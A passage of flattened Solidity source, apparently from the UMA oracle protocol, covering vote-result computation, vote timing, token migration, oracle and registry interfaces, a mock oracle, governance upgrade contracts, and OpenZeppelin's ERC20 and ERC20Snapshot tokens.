The identifier is of the form "Admin n", where n is the proposal id provided. function _constructIdentifier(uint256 id) internal pure returns (bytes32) { bytes32 bytesId = _uintToUtf8(id); return _addPrefix(bytesId, "Admin ", 6); } // This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type. // If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits. // This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801. function _uintToUtf8(uint256 v) internal pure returns (bytes32) { bytes32 ret; if (v == 0) { // Handle 0 case explicitly. ret = "0"; } else { // Constants. uint256 bitsPerByte = 8; uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10. uint256 utf8NumberOffset = 48; while (v > 0) { // Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which // translates to the beginning of the UTF-8 representation. ret = ret >> bitsPerByte; // Separate the last digit that remains in v by modding by the base of desired output representation. uint256 leastSignificantDigit = v % base; // Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character. bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset); // The top byte of ret has already been cleared to make room for the new digit. // Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched. ret |= utf8Digit << (31 * bitsPerByte); // Divide v by the base to remove the digit that was just added. v /= base; } } return ret; } // This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other. // `input` is the UTF-8 that should have the prefix prepended. // `prefix` is the UTF-8 that should be prepended onto input. // `prefixLength` is number of UTF-8 characters represented by `prefix`. // Notes: // 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented // by the bytes32 output. // 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result. function _addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) internal pure returns (bytes32) { // Downshift `input` to open space at the "front" of the bytes32 bytes32 shiftedInput = input >> (prefixLength * 8); return shiftedInput | prefix; } } library ResultComputation { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL LIBRARY DATA STRUCTURE * ****************************************/ struct Data { // Maps price to number of tokens that voted for that price. mapping(int256 => FixedPoint.Unsigned) voteFrequency; // The total votes that have been added. FixedPoint.Unsigned totalVotes; // The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`. int256 currentMode; } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Adds a new vote to be used when computing the result. * @param data contains information to which the vote is applied. * @param votePrice value specified in the vote for the given `numberTokens`. * @param numberTokens number of tokens that voted on the `votePrice`. */ function addVote( Data storage data, int256 votePrice, FixedPoint.Unsigned memory numberTokens ) internal { data.totalVotes = data.totalVotes.add(numberTokens); data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens); if ( votePrice != data.currentMode && data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode]) ) { data.currentMode = votePrice; } } /**************************************** * VOTING STATE GETTERS * ****************************************/ /** * @notice Returns whether the result is resolved, and if so, what value it resolved to. * @dev `price` should be ignored if `isResolved` is false. * @param data contains information against which the `minVoteThreshold` is applied. * @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be * used to enforce a minimum voter participation rate, regardless of how the votes are distributed. * @return isResolved indicates if the price has been resolved correctly. * @return price the price that the dvm resolved to. */ function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold) internal view returns (bool isResolved, int256 price) { FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100); if ( data.totalVotes.isGreaterThan(minVoteThreshold) && data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold) ) { // `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price. isResolved = true; price = data.currentMode; } else { isResolved = false; } } /** * @notice Checks whether a `voteHash` is considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains information against which the `voteHash` is checked. * @param voteHash committed hash submitted by the voter. * @return bool true if the vote was correct. */ function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) { return voteHash == keccak256(abi.encode(data.currentMode)); } /** * @notice Gets the total number of tokens whose votes are considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains all votes against which the correctly voted tokens are counted. * @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens. */ function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) { return data.voteFrequency[data.currentMode]; } } contract TokenMigrator { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ VotingToken public oldToken; ExpandedIERC20 public newToken; uint256 public snapshotId; FixedPoint.Unsigned public rate; mapping(address => bool) public hasMigrated; /** * @notice Construct the TokenMigrator contract. * @dev This function triggers the snapshot upon which all migrations will be based. * @param _rate the number of old tokens it takes to generate one new token. * @param _oldToken address of the token being migrated from. * @param _newToken address of the token being migrated to. */ constructor( FixedPoint.Unsigned memory _rate, address _oldToken, address _newToken ) public { // Prevents division by 0 in migrateTokens(). // Also it doesn’t make sense to have “0 old tokens equate to 1 new token”. require(_rate.isGreaterThan(0), "Rate can't be 0"); rate = _rate; newToken = ExpandedIERC20(_newToken); oldToken = VotingToken(_oldToken); snapshotId = oldToken.snapshot(); } /** * @notice Migrates the tokenHolder's old tokens to new tokens. * @dev This function can only be called once per `tokenHolder`. Anyone can call this method * on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier. * @param tokenHolder address of the token holder to migrate. */ function migrateTokens(address tokenHolder) external { require(!hasMigrated[tokenHolder], "Already migrated tokens"); hasMigrated[tokenHolder] = true; FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId)); if (!oldBalance.isGreaterThan(0)) { return; } FixedPoint.Unsigned memory newBalance = oldBalance.div(rate); require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed"); } } library VoteTiming { using SafeMath for uint256; struct Data { uint256 phaseLength; } /** * @notice Initializes the data object. Sets the phase length based on the input. */ function init(Data storage data, uint256 phaseLength) internal { // This should have a require message but this results in an internal Solidity error. require(phaseLength > 0); data.phaseLength = phaseLength; } /** * @notice Computes the roundID based off the current time as floor(timestamp/roundLength). * @dev The round ID depends on the global timestamp but not on the lifetime of the system. * The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return roundId defined as a function of the currentTime and `phaseLength` from `data`. */ function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingInterface.Phase.NUM_PHASES_PLACEHOLDER)); return currentTime.div(roundLength); } /** * @notice compute the round end time as a function of the round Id. * @param data input data object. * @param roundId uniquely identifies the current round. * @return timestamp unix time of when the current round will end. */ function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingInterface.Phase.NUM_PHASES_PLACEHOLDER)); return roundLength.mul(roundId.add(1)); } /** * @notice Computes the current phase based only on the current time. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return current voting phase based on current time and vote phases configuration. */ function computeCurrentPhase(Data storage data, uint256 currentTime) internal view returns (VotingInterface.Phase) { // This employs some hacky casting. We could make this an if-statement if we're worried about type safety. return VotingInterface.Phase( currentTime.div(data.phaseLength).mod(uint256(VotingInterface.Phase.NUM_PHASES_PLACEHOLDER)) ); } } contract GovernorTest is Governor { constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {} function addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) external pure returns (bytes32) { return _addPrefix(input, prefix, prefixLength); } function uintToUtf8(uint256 v) external pure returns (bytes32 ret) { return _uintToUtf8(v); } function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) { return _constructIdentifier(id); } } contract ResultComputationTest { using ResultComputation for ResultComputation.Data; ResultComputation.Data public data; function wrapAddVote(int256 votePrice, uint256 numberTokens) external { data.addVote(votePrice, FixedPoint.Unsigned(numberTokens)); } function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) { return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold)); } function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) { return data.wasVoteCorrect(revealHash); } function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) { return data.getTotalCorrectlyVotedTokens().rawValue; } } contract VoteTimingTest { using VoteTiming for VoteTiming.Data; VoteTiming.Data public voteTiming; constructor(uint256 phaseLength) public { wrapInit(phaseLength); } function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) { return voteTiming.computeCurrentRoundId(currentTime); } function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingInterface.Phase) { return voteTiming.computeCurrentPhase(currentTime); } function wrapInit(uint256 phaseLength) public { voteTiming.init(phaseLength); } } interface AdministrateeInterface { /** * @notice Initiates the shutdown process, in case of an emergency. */ function emergencyShutdown() external; /** * @notice A core contract method called independently or as a part of other financial contract transactions. * @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract. */ function remargin() external; } interface FinderInterface { /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 encoding of the interface name that is either changed or registered. * @param implementationAddress address of the deployed contract that implements the interface. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external; /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the deployed contract that implements the interface. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address); } interface IdentifierWhitelistInterface { /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external; /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external; /** * @notice Checks whether an identifier is on the whitelist. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external view returns (bool); } interface OracleInterface { /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. */ function requestPrice(bytes32 identifier, uint256 time) external; /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice(bytes32 identifier, uint256 time) external view returns (bool); /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice(bytes32 identifier, uint256 time) external view returns (int256); } interface RegistryInterface { /** * @notice Registers a new contract. * @dev Only authorized contract creators can call this method. * @param parties an array of addresses who become parties in the contract. * @param contractAddress defines the address of the deployed contract. */ function registerContract(address[] calldata parties, address contractAddress) external; /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external view returns (bool); /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external view returns (address[] memory); /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function getAllRegisteredContracts() external view returns (address[] memory); /** * @notice Adds a party to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be added to the contract. */ function addPartyToContract(address party) external; /** * @notice Removes a party member to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be removed from the contract. */ function removePartyFromContract(address party) external; /** * @notice checks if an address is a party in a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool); } interface StoreInterface { /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external payable; /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external; /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty); /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due. */ function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory); } abstract contract VotingInterface { struct PendingRequest { bytes32 identifier; uint256 time; } // Captures the necessary data for making a commitment. // Used as a parameter when making batch commitments. // Not used as a data structure for storage. struct Commitment { bytes32 identifier; uint256 time; bytes32 hash; bytes encryptedVote; } // Captures the necessary data for revealing a vote. // Used as a parameter when making batch reveals. // Not used as a data structure for storage. struct Reveal { bytes32 identifier; uint256 time; int256 price; int256 salt; } // Note: the phases must be in order. Meaning the first enum value must be the first phase, etc. // `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last. enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER } /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) external virtual; /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is stored on chain. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(Commitment[] calldata commits) external virtual; /** * @notice snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times but each round will only every have one snapshot at the * time of calling `_freezeRoundVariables`. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external virtual; /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price is being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) external virtual; /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(Reveal[] calldata reveals) external virtual; /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests `PendingRequest` array containing identifiers * and timestamps for all pending requests. */ function getPendingRequests() external virtual view returns (PendingRequest[] memory); /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external virtual view returns (Phase); /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external virtual view returns (uint256); /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public virtual returns (FixedPoint.Unsigned memory); } contract MockOracle is OracleInterface, Testable { // Represents an available price. Have to keep a separate bool to allow for price=0. struct Price { bool isAvailable; int256 price; // Time the verified price became available. uint256 verifiedTime; } // The two structs below are used in an array and mapping to keep track of prices that have been requested but are // not yet available. struct QueryIndex { bool isValid; uint256 index; } // Represents a (identifier, time) point that has been queried. struct QueryPoint { bytes32 identifier; uint256 time; } // Reference to the Finder. FinderInterface private finder; // Conceptually we want a (time, identifier) -> price map. mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices; // The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements. // Can we generalize this data structure? mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices; QueryPoint[] private requestedPrices; constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); } // Enqueues a request (if a request isn't already present) for the given (identifier, time) pair. function requestPrice(bytes32 identifier, uint256 time) external override { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) { // New query, enqueue it for review. queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length); requestedPrices.push(QueryPoint(identifier, time)); } } // Pushes the verified price for a requested query. function pushPrice( bytes32 identifier, uint256 time, int256 price ) external { verifiedPrices[identifier][time] = Price(true, price, getCurrentTime()); QueryIndex storage queryIndex = queryIndices[identifier][time]; require(queryIndex.isValid, "Can't push prices that haven't been requested"); // Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with // the contents of the last index (unless it is the last index). uint256 indexToReplace = queryIndex.index; delete queryIndices[identifier][time]; uint256 lastIndex = requestedPrices.length - 1; if (lastIndex != indexToReplace) { QueryPoint storage queryToCopy = requestedPrices[lastIndex]; queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace; requestedPrices[indexToReplace] = queryToCopy; } } // Checks whether a price has been resolved. function hasPrice(bytes32 identifier, uint256 time) external override view returns (bool) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; return lookup.isAvailable; } // Gets a price that has already been resolved. function getPrice(bytes32 identifier, uint256 time) external override view returns (int256) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; require(lookup.isAvailable); return lookup.price; } // Gets the queries that still need verified prices. function getPendingQueries() external view returns (QueryPoint[] memory) { return requestedPrices; } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } contract Umip15Upgrader { // Existing governor is the only one who can initiate the upgrade. address public governor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public newVoting; constructor( address _governor, address _existingVoting, address _newVoting, address _finder ) public { governor = _governor; existingVoting = Voting(_existingVoting); newVoting = _newVoting; finder = Finder(_finder); } function upgrade() external { require(msg.sender == governor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting); // Set current Voting contract to migrated. existingVoting.setMigrated(newVoting); // Transfer back ownership of old voting contract and the finder to the governor. existingVoting.transferOwnership(governor); finder.transferOwnership(governor); } } contract Umip3Upgrader { // Existing governor is the only one who can initiate the upgrade. address public existingGovernor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. address public newGovernor; // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public voting; address public identifierWhitelist; address public store; address public financialContractsAdmin; address public registry; constructor( address _existingGovernor, address _existingVoting, address _finder, address _voting, address _identifierWhitelist, address _store, address _financialContractsAdmin, address _registry, address _newGovernor ) public { existingGovernor = _existingGovernor; existingVoting = Voting(_existingVoting); finder = Finder(_finder); voting = _voting; identifierWhitelist = _identifierWhitelist; store = _store; financialContractsAdmin = _financialContractsAdmin; registry = _registry; newGovernor = _newGovernor; } function upgrade() external { require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, voting); finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist); finder.changeImplementationAddress(OracleInterfaces.Store, store); finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin); finder.changeImplementationAddress(OracleInterfaces.Registry, registry); // Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated. finder.transferOwnership(newGovernor); // Inform the existing Voting contract of the address of the new Voting contract and transfer its // ownership to the new governor to allow for any future changes to the migrated contract. existingVoting.setMigrated(voting); existingVoting.transferOwnership(newGovernor); } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Snapshot is ERC20 { // Inspired by Jordi Baylina's MiniMeToken to record historical balances: // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol using SafeMath for uint256; using Arrays for uint256[]; using Counters for Counters.Counter; // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a // Snapshot struct, but that would impede usage of functions that work on an array. struct Snapshots { uint256[] ids; uint256[] values; } mapping (address => Snapshots) private _accountBalanceSnapshots; Snapshots private _totalSupplySnapshots; // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. Counters.Counter private _currentSnapshotId; /** * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created. */ event Snapshot(uint256 id); /** * @dev Creates a new snapshot and returns its snapshot id. * * Emits a {Snapshot} event that contains the same id. * * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a * set of accounts, for example using {AccessControl}, or it may be open to the public. * * [WARNING] * ==== * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking, * you must consider that it can potentially be used by attackers in two ways. * * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs * section above. * * We haven't measured the actual numbers; if this is something you're interested in please reach out to us. * ==== */ function _snapshot() internal virtual returns (uint256) { _currentSnapshotId.increment(); uint256 currentId = _currentSnapshotId.current(); emit Snapshot(currentId); return currentId; } /** * @dev Retrieves the balance of `account` at the time `snapshotId` was created. */ function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); return snapshotted ? value : balanceOf(account); } /** * @dev Retrieves the total supply at the time `snapshotId` was created. */ function totalSupplyAt(uint256 snapshotId) public view returns(uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots); return snapshotted ? value : totalSupply(); 